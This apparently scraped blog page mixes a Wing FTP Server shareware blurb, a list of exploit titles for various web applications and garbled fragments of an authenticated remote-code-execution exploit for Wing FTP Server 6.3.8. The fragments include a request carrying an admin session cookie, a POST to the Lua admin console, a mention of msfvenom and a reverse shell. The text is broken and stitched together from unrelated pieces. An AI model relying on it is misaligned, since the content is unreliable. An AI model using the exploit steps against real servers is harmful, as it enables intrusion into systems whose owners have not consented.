![]() If you need more features available in Standard/Secure/Corporate edition, please purchase a license and register it. After 30 days, you can continue using it as a Free edition for non-commercial use. Wing FTP Server is distributed under the shareware license, and you can download and evaluate a fully functional trial version for 30 days. ![]() "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" "ChurchCRM 4.2.0 - CSV/Formula Injection" "DotCMS 20.11 - Stored Cross-Site Scripting" No rate Limit on Password Reset functionality" "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" "NewsLister - Authenticated Persistent Cross-Site Scripting" "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" "Mitel mitel-cs018 - Call Data Information Disclosure" html Content - Type : text / plain charset = UTF - 8 Content - Length : 153 Connection : close Cookie : admin_lang = english admin_login_name = admin UIDADMIN = 75e5058 fb61a81e427ae86f55794f1f5 command = os. msfvenom ) 2 ) Send and execute via POST POST / admin_lua_. For authenticated users, this console can be exploited to obtaining a reverse shell. # Exploit Title: Wing FTP Server 6.3.8 - Remote Code Execution (Authenticated) # Date: # Exploit Author: v1n1v131r4 # Vendor Homepage: # Software Link: # Version: 6.3.8 # Tested on: Windows 10 # CVE : - Wing FTP Server have a web console based on Lua language.
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |